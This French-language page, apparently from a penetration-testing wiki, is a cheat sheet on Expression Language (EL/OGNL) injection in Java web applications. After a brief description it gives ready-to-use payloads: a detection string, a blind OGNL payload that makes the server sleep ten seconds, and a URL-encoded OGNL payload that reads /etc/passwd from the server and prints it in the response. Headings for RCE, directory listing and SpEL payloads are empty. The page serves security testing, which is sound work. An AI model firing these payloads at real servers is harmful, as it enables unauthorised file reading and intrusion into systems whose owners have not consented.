🔀ELi

Expression Language injection

Description

Les Expressions Languages (EL) permettent de manipuler les données au sein d'une page JSP (ou d'un fichier *.tag) plus simplement qu'avec les scriptlets Java.

Une EL permet d'accéder simplement aux beans des différents scopes de l'application web (page, request, session et application). Utilisé conjointement avec des librairies de tags, elles permettent de se passer totalement des scriptlets.

Une expression EL est de la forme suivante :

${ expression }

La chaîne expression correspond à l'expression à interpréter. Une expression peut être composée de plusieurs termes séparés par des opérateurs.

Reconnaissance

Remplacement de caractères

test${“str”.toString().replace(“s”, “x”)}ing #doit renvoyer "textring" 

En aveugle

#Sleep 10 secondes
https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

RFI

https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.REPLACE[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&REPLACE=%2fetc%2fpasswd

Directory listing

RCE

SpEL eval tag

SpEL message tag

Autres charges utiles

Mis à jour

Ce contenu vous a-t-il été utile ?